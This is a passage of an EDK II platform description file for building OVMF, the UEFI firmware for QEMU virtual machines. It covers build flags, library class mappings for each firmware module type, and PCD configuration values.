# # This program and the accompanying materials # are licensed and made available under the terms and conditions of the BSD License # which accompanies this distribution. The full text of the license may be found at # http://opensource.org/licenses/bsd-license.php # # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. # ## ################################################################################ # # Defines Section - statements that will be processed to create a Makefile. # ################################################################################ [Defines] PLATFORM_NAME = Ovmf PLATFORM_GUID = 5a9e7754-d81b-49ea-85ad-69eaa7b1539b PLATFORM_VERSION = 0.1 DSC_SPECIFICATION = 0x00010005 OUTPUT_DIRECTORY = Build/OvmfX64 SUPPORTED_ARCHITECTURES = X64 BUILD_TARGETS = NOOPT|DEBUG|RELEASE SKUID_IDENTIFIER = DEFAULT FLASH_DEFINITION = OvmfPkg/OvmfPkgX64.fdf # # Defines for default states. These can be changed on the command line. # -D FLAG=VALUE # DEFINE SECURE_BOOT_ENABLE = FALSE DEFINE NETWORK_IP6_ENABLE = FALSE DEFINE HTTP_BOOT_ENABLE = FALSE DEFINE SMM_REQUIRE = FALSE DEFINE TLS_ENABLE = FALSE # # Flash size selection. Setting FD_SIZE_IN_KB on the command line directly to # one of the supported values, in place of any of the convenience macros, is # permitted. # !ifdef $(FD_SIZE_1MB) DEFINE FD_SIZE_IN_KB = 1024 !else !ifdef $(FD_SIZE_2MB) DEFINE FD_SIZE_IN_KB = 2048 !else !ifdef $(FD_SIZE_4MB) DEFINE FD_SIZE_IN_KB = 4096 !else DEFINE FD_SIZE_IN_KB = 4096 !endif !endif !endif [BuildOptions] GCC:*_UNIXGCC_*_CC_FLAGS = -DMDEPKG_NDEBUG GCC:RELEASE_*_*_CC_FLAGS = -DMDEPKG_NDEBUG INTEL:RELEASE_*_*_CC_FLAGS = /D MDEPKG_NDEBUG MSFT:RELEASE_*_*_CC_FLAGS = /D MDEPKG_NDEBUG !if $(TOOL_CHAIN_TAG) != "XCODE5" GCC:*_*_*_CC_FLAGS = -mno-mmx -mno-sse !endif !ifdef $(SOURCE_DEBUG_ENABLE) MSFT:*_*_X64_GENFW_FLAGS = --keepexceptiontable GCC:*_*_X64_GENFW_FLAGS = --keepexceptiontable INTEL:*_*_X64_GENFW_FLAGS = --keepexceptiontable !endif # # Disable deprecated APIs. # MSFT:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES INTEL:*_*_*_CC_FLAGS = /D DISABLE_NEW_DEPRECATED_INTERFACES GCC:*_*_*_CC_FLAGS = -D DISABLE_NEW_DEPRECATED_INTERFACES [BuildOptions.common.EDKII.DXE_RUNTIME_DRIVER] GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000 XCODE:*_*_*_DLINK_FLAGS = # Force PE/COFF sections to be aligned at 4KB boundaries to support page level # protection of DXE_SMM_DRIVER/SMM_CORE modules [BuildOptions.common.EDKII.DXE_SMM_DRIVER, BuildOptions.common.EDKII.SMM_CORE] GCC:*_*_*_DLINK_FLAGS = -z common-page-size=0x1000 XCODE:*_*_*_DLINK_FLAGS = ################################################################################ # # SKU Identification section - list of all SKU IDs supported by this Platform. # ################################################################################ [SkuIds] 0|DEFAULT ################################################################################ # # Library Class section - list of all Library Classes needed by this Platform. # ################################################################################ [LibraryClasses] PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseAcpiTimerLib.inf PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf BaseMemoryLib|MdePkg/Library/BaseMemoryLibRepStr/BaseMemoryLibRepStr.inf BaseLib|MdePkg/Library/BaseLib/BaseLib.inf SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf CpuLib|MdePkg/Library/BaseCpuLib/BaseCpuLib.inf PerformanceLib|MdePkg/Library/BasePerformanceLibNull/BasePerformanceLibNull.inf PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf UefiDecompressLib|MdePkg/Library/BaseUefiDecompressLib/BaseUefiDecompressLib.inf UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf UefiBootManagerLib|MdeModulePkg/Library/UefiBootManagerLib/UefiBootManagerLib.inf BootLogoLib|MdeModulePkg/Library/BootLogoLib/BootLogoLib.inf FileExplorerLib|MdeModulePkg/Library/FileExplorerLib/FileExplorerLib.inf CapsuleLib|MdeModulePkg/Library/DxeCapsuleLibNull/DxeCapsuleLibNull.inf DxeServicesLib|MdePkg/Library/DxeServicesLib/DxeServicesLib.inf DxeServicesTableLib|MdePkg/Library/DxeServicesTableLib/DxeServicesTableLib.inf PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf PciExpressLib|MdePkg/Library/BasePciExpressLib/BasePciExpressLib.inf PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf PciSegmentLib|MdePkg/Library/BasePciSegmentLibPci/BasePciSegmentLibPci.inf IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsicSev.inf OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf SerialPortLib|PcAtChipsetPkg/Library/SerialIoLib/SerialIoLib.inf MtrrLib|UefiCpuPkg/Library/MtrrLib/MtrrLib.inf UefiLib|MdePkg/Library/UefiLib/UefiLib.inf UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf DevicePathLib|MdePkg/Library/UefiDevicePathLibDevicePathProtocol/UefiDevicePathLibDevicePathProtocol.inf NvVarsFileLib|OvmfPkg/Library/NvVarsFileLib/NvVarsFileLib.inf FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf UefiCpuLib|UefiCpuPkg/Library/BaseUefiCpuLib/BaseUefiCpuLib.inf SecurityManagementLib|MdeModulePkg/Library/DxeSecurityManagementLib/DxeSecurityManagementLib.inf NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf UefiUsbLib|MdePkg/Library/UefiUsbLib/UefiUsbLib.inf SerializeVariablesLib|OvmfPkg/Library/SerializeVariablesLib/SerializeVariablesLib.inf QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgDxeLib.inf VirtioLib|OvmfPkg/Library/VirtioLib/VirtioLib.inf LoadLinuxLib|OvmfPkg/Library/LoadLinuxLib/LoadLinuxLib.inf MemEncryptSevLib|OvmfPkg/Library/BaseMemEncryptSevLib/BaseMemEncryptSevLib.inf !if $(SMM_REQUIRE) == FALSE LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxBaseLib.inf !endif CustomizedDisplayLib|MdeModulePkg/Library/CustomizedDisplayLib/CustomizedDisplayLib.inf FrameBufferBltLib|MdeModulePkg/Library/FrameBufferBltLib/FrameBufferBltLib.inf !ifdef $(SOURCE_DEBUG_ENABLE) PeCoffExtraActionLib|SourceLevelDebugPkg/Library/PeCoffExtraActionLibDebug/PeCoffExtraActionLibDebug.inf DebugCommunicationLib|SourceLevelDebugPkg/Library/DebugCommunicationLibSerialPort/DebugCommunicationLibSerialPort.inf !else PeCoffExtraActionLib|MdePkg/Library/BasePeCoffExtraActionLibNull/BasePeCoffExtraActionLibNull.inf DebugAgentLib|MdeModulePkg/Library/DebugAgentLibNull/DebugAgentLibNull.inf !endif ResetSystemLib|OvmfPkg/Library/ResetSystemLib/ResetSystemLib.inf LocalApicLib|UefiCpuPkg/Library/BaseXApicX2ApicLib/BaseXApicX2ApicLib.inf DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf IntrinsicLib|CryptoPkg/Library/IntrinsicLib/IntrinsicLib.inf !if $(TLS_ENABLE) == TRUE OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLib.inf !else OpensslLib|CryptoPkg/Library/OpensslLib/OpensslLibCrypto.inf !endif !if $(SECURE_BOOT_ENABLE) == TRUE PlatformSecureLib|OvmfPkg/Library/PlatformSecureLib/PlatformSecureLib.inf TpmMeasurementLib|SecurityPkg/Library/DxeTpmMeasurementLib/DxeTpmMeasurementLib.inf AuthVariableLib|SecurityPkg/Library/AuthVariableLib/AuthVariableLib.inf !else TpmMeasurementLib|MdeModulePkg/Library/TpmMeasurementLibNull/TpmMeasurementLibNull.inf AuthVariableLib|MdeModulePkg/Library/AuthVariableLibNull/AuthVariableLibNull.inf !endif VarCheckLib|MdeModulePkg/Library/VarCheckLib/VarCheckLib.inf !if $(NETWORK_IP6_ENABLE) == TRUE TcpIoLib|MdeModulePkg/Library/DxeTcpIoLib/DxeTcpIoLib.inf !endif !if $(HTTP_BOOT_ENABLE) == TRUE HttpLib|MdeModulePkg/Library/DxeHttpLib/DxeHttpLib.inf !endif !if $(TLS_ENABLE) == TRUE TlsLib|CryptoPkg/Library/TlsLib/TlsLib.inf !endif ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf S3BootScriptLib|MdeModulePkg/Library/PiDxeS3BootScriptLib/DxeS3BootScriptLib.inf SmbusLib|MdePkg/Library/BaseSmbusLibNull/BaseSmbusLibNull.inf OrderedCollectionLib|MdePkg/Library/BaseOrderedCollectionRedBlackTreeLib/BaseOrderedCollectionRedBlackTreeLib.inf XenHypercallLib|OvmfPkg/Library/XenHypercallLib/XenHypercallLib.inf [LibraryClasses.common] BaseCryptLib|CryptoPkg/Library/BaseCryptLib/BaseCryptLib.inf [LibraryClasses.common.SEC] TimerLib|OvmfPkg/Library/AcpiTimerLib/BaseRomAcpiTimerLib.inf QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgSecLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformRomDebugLibIoPort.inf !endif ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf ExtractGuidedSectionLib|MdePkg/Library/BaseExtractGuidedSectionLib/BaseExtractGuidedSectionLib.inf !ifdef $(SOURCE_DEBUG_ENABLE) DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf !endif HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SecPeiCpuExceptionHandlerLib.inf [LibraryClasses.common.PEI_CORE] HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf PeiCoreEntryPoint|MdePkg/Library/PeiCoreEntryPoint/PeiCoreEntryPoint.inf ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf [LibraryClasses.common.PEIM] HobLib|MdePkg/Library/PeiHobLib/PeiHobLib.inf PeiServicesTablePointerLib|MdePkg/Library/PeiServicesTablePointerLibIdt/PeiServicesTablePointerLibIdt.inf PeiServicesLib|MdePkg/Library/PeiServicesLib/PeiServicesLib.inf MemoryAllocationLib|MdePkg/Library/PeiMemoryAllocationLib/PeiMemoryAllocationLib.inf PeimEntryPoint|MdePkg/Library/PeimEntryPoint/PeimEntryPoint.inf ReportStatusCodeLib|MdeModulePkg/Library/PeiReportStatusCodeLib/PeiReportStatusCodeLib.inf OemHookStatusCodeLib|MdeModulePkg/Library/OemHookStatusCodeLibNull/OemHookStatusCodeLibNull.inf PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif PeCoffLib|MdePkg/Library/BasePeCoffLib/BasePeCoffLib.inf PeiResourcePublicationLib|MdePkg/Library/PeiResourcePublicationLib/PeiResourcePublicationLib.inf ExtractGuidedSectionLib|MdePkg/Library/PeiExtractGuidedSectionLib/PeiExtractGuidedSectionLib.inf !ifdef $(SOURCE_DEBUG_ENABLE) DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SecPeiDebugAgentLib.inf !endif CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/PeiCpuExceptionHandlerLib.inf MpInitLib|UefiCpuPkg/Library/MpInitLib/PeiMpInitLib.inf QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/PeiQemuFwCfgS3LibFwCfg.inf PcdLib|MdePkg/Library/PeiPcdLib/PeiPcdLib.inf QemuFwCfgLib|OvmfPkg/Library/QemuFwCfgLib/QemuFwCfgPeiLib.inf [LibraryClasses.common.DXE_CORE] HobLib|MdePkg/Library/DxeCoreHobLib/DxeCoreHobLib.inf DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf MemoryAllocationLib|MdeModulePkg/Library/DxeCoreMemoryAllocationLib/DxeCoreMemoryAllocationLib.inf ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif ExtractGuidedSectionLib|MdePkg/Library/DxeExtractGuidedSectionLib/DxeExtractGuidedSectionLib.inf !ifdef $(SOURCE_DEBUG_ENABLE) DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf !endif CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf [LibraryClasses.common.DXE_RUNTIME_DRIVER] PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf ReportStatusCodeLib|MdeModulePkg/Library/RuntimeDxeReportStatusCodeLib/RuntimeDxeReportStatusCodeLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf BaseCryptLib|CryptoPkg/Library/BaseCryptLib/RuntimeCryptLib.inf PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf [LibraryClasses.common.UEFI_DRIVER] PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf DxeCoreEntryPoint|MdePkg/Library/DxeCoreEntryPoint/DxeCoreEntryPoint.inf MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf [LibraryClasses.common.DXE_DRIVER] PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf UefiScsiLib|MdePkg/Library/UefiScsiLib/UefiScsiLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif NetLib|MdeModulePkg/Library/DxeNetLib/DxeNetLib.inf IpIoLib|MdeModulePkg/Library/DxeIpIoLib/DxeIpIoLib.inf UdpIoLib|MdeModulePkg/Library/DxeUdpIoLib/DxeUdpIoLib.inf DpcLib|MdeModulePkg/Library/DxeDpcLib/DxeDpcLib.inf PlatformBootManagerLib|OvmfPkg/Library/PlatformBootManagerLib/PlatformBootManagerLib.inf QemuBootOrderLib|OvmfPkg/Library/QemuBootOrderLib/QemuBootOrderLib.inf CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/DxeCpuExceptionHandlerLib.inf !if $(SMM_REQUIRE) == TRUE LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxDxeLib.inf !else LockBoxLib|OvmfPkg/Library/LockBoxLib/LockBoxDxeLib.inf !endif !ifdef $(SOURCE_DEBUG_ENABLE) DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/DxeDebugAgentLib.inf !endif PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf MpInitLib|UefiCpuPkg/Library/MpInitLib/DxeMpInitLib.inf QemuFwCfgS3Lib|OvmfPkg/Library/QemuFwCfgS3Lib/DxeQemuFwCfgS3LibFwCfg.inf [LibraryClasses.common.UEFI_APPLICATION] PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf [LibraryClasses.common.DXE_SMM_DRIVER] PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf MemoryAllocationLib|MdePkg/Library/SmmMemoryAllocationLib/SmmMemoryAllocationLib.inf ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf SmmServicesTableLib|MdePkg/Library/SmmServicesTableLib/SmmServicesTableLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SmmCpuExceptionHandlerLib.inf !ifdef $(SOURCE_DEBUG_ENABLE) DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SmmDebugAgentLib.inf !endif BaseCryptLib|CryptoPkg/Library/BaseCryptLib/SmmCryptLib.inf PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf [LibraryClasses.common.SMM_CORE] PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf SmmCorePlatformHookLib|MdeModulePkg/Library/SmmCorePlatformHookLibNull/SmmCorePlatformHookLibNull.inf MemoryAllocationLib|MdeModulePkg/Library/PiSmmCoreMemoryAllocationLib/PiSmmCoreMemoryAllocationLib.inf ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf SmmServicesTableLib|MdeModulePkg/Library/PiSmmCoreSmmServicesTableLib/PiSmmCoreSmmServicesTableLib.inf !ifdef $(DEBUG_ON_SERIAL_PORT) DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf !else DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf !endif PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf ################################################################################ # # Pcd Section - list of all EDK II PCD Entries defined by this Platform. # ################################################################################ [PcdsFeatureFlag] gEfiMdeModulePkgTokenSpaceGuid.PcdHiiOsRuntimeSupport|FALSE gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseSerial|FALSE gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseMemory|TRUE gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSupportUefiDecompress|FALSE gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSwitchToLongMode|FALSE gEfiMdeModulePkgTokenSpaceGuid.PcdConOutGopSupport|TRUE gEfiMdeModulePkgTokenSpaceGuid.PcdConOutUgaSupport|FALSE gEfiMdeModulePkgTokenSpaceGuid.PcdInstallAcpiSdtProtocol|TRUE !if $(SMM_REQUIRE) == TRUE gUefiOvmfPkgTokenSpaceGuid.PcdSmmSmramRequire|TRUE gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmEnableBspElection|FALSE !endif [PcdsFixedAtBuild] gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeMemorySize|1 gEfiMdeModulePkgTokenSpaceGuid.PcdResetOnMemoryTypeInformationChange|FALSE gEfiMdePkgTokenSpaceGuid.PcdMaximumGuidedExtractHandler|0x10 gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxFvSupported|6 gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxPeimPerFv|32 !if ($(FD_SIZE_IN_KB) == 1024) || ($(FD_SIZE_IN_KB) == 2048) gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x2000 gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x2800 gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0xe000 !endif !if $(FD_SIZE_IN_KB) == 4096 gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x8400 gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x8400 gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0x40000 !endif gEfiMdeModulePkgTokenSpaceGuid.PcdVpdBaseAddress|0x0 gEfiMdePkgTokenSpaceGuid.PcdReportStatusCodePropertyMask|0x07 # DEBUG_INIT 0x00000001 // Initialization # DEBUG_WARN 0x00000002 // Warnings # DEBUG_LOAD 0x00000004 // Load events # DEBUG_FS 0x00000008 // EFI File system # DEBUG_POOL 0x00000010 // Alloc & Free (pool) # DEBUG_PAGE 0x00000020 // Alloc & Free (page) # DEBUG_INFO 0x00000040 // Informational debug messages # DEBUG_DISPATCH 0x00000080 // PEI/DXE/SMM Dispatchers # DEBUG_VARIABLE 0x00000100 // Variable # DEBUG_BM 0x00000400 // Boot Manager # DEBUG_BLKIO 0x00001000 // BlkIo Driver # DEBUG_NET 0x00004000 // SNP Driver # DEBUG_UNDI 0x00010000 // UNDI Driver # DEBUG_LOADFILE 0x00020000 // LoadFile # DEBUG_EVENT 0x00080000 // Event messages # DEBUG_GCD 0x00100000 // Global Coherency Database changes # DEBUG_CACHE 0x00200000 // Memory range cachability changes # DEBUG_VERBOSE 0x00400000 // Detailed debug messages that may # // significantly impact boot performance # DEBUG_ERROR 0x80000000 // Error gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|0x8000004F !ifdef $(SOURCE_DEBUG_ENABLE) gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x17 !else gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x2F !endif # This PCD is used to set the base address of the PCI express hierarchy. It # is only consulted when OVMF runs on Q35. In that case it is programmed into # the PCIEXBAR register. # # On Q35 machine types that QEMU intends to support in the long term, QEMU # never lets the RAM below 4 GB exceed 2 GB. gEfiMdePkgTokenSpaceGuid.PcdPciExpressBaseAddress|0x80000000 !ifdef $(SOURCE_DEBUG_ENABLE) gEfiSourceLevelDebugPkgTokenSpaceGuid.PcdDebugLoadImageMethod|0x2 !endif !if $(HTTP_BOOT_ENABLE) == TRUE gEfiNetworkPkgTokenSpaceGuid.PcdAllowHttpConnections|TRUE !endif !ifndef $(USE_OLD_SHELL) gEfiIntelFrameworkModulePkgTokenSpaceGuid.PcdShellFile|{ 0x83, 0xA5, 0x04, 0x7C, 0x3E, 0x9E, 0x1C, 0x4F, 0xAD, 0x65, 0xE0, 0x52, 0x68, 0xD0, 0xB4, 0xD1 } !endif !if $(SMM_REQUIRE) == TRUE gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackSize|0x4000 !endif # IRQs 5, 9, 10, 11 are level-triggered gPcAtChipsetPkgTokenSpaceGuid.Pcd8259LegacyModeEdgeLevel|0x0E20 # Point to the MdeModulePkg/Application/UiApp/UiApp.inf gEfiMdeModulePkgTokenSpaceGuid.PcdBootManagerMenuFile|{ 0x21, 0xaa, 0x2c, 0x46, 0x14, 0x76, 0x03, 0x45, 0x83, 0x6e, 0x8a, 0xb6, 0xf4, 0x66, 0x23, 0x31 } ################################################################################ # # Pcd Dynamic Section - list of all EDK II PCD Entries defined by this Platform # ################################################################################ [PcdsDynamicDefault] # only set when # ($(SMM_REQUIRE) == FALSE) gEfiMdeModulePkgTokenSpaceGuid.PcdEmuVariableNvStoreReserved|0 gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageVariableBase64|0 gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwWorkingBase|0 gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwSpareBase|0 gEfiMdeModulePkgTokenSpaceGuid.PcdPciDisableBusEnumeration|FALSE gEfiMdeModulePkgTokenSpaceGuid.PcdVideoHorizontalResolution|800 gEfiMdeModulePkgTokenSpaceGuid.PcdVideoVerticalResolution|600 gEfiMdeModulePkgTokenSpaceGuid.PcdAcpiS3Enable|FALSE gUefiOvmfPkgTokenSpaceGuid.PcdOvmfHostBridgePciDevId|0 gUefiOvmfPkgTokenSpaceGuid.PcdPciIoBase|0x0 gUefiOvmfPkgTokenSpaceGuid.PcdPciIoSize|0x0 gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Base|0x0 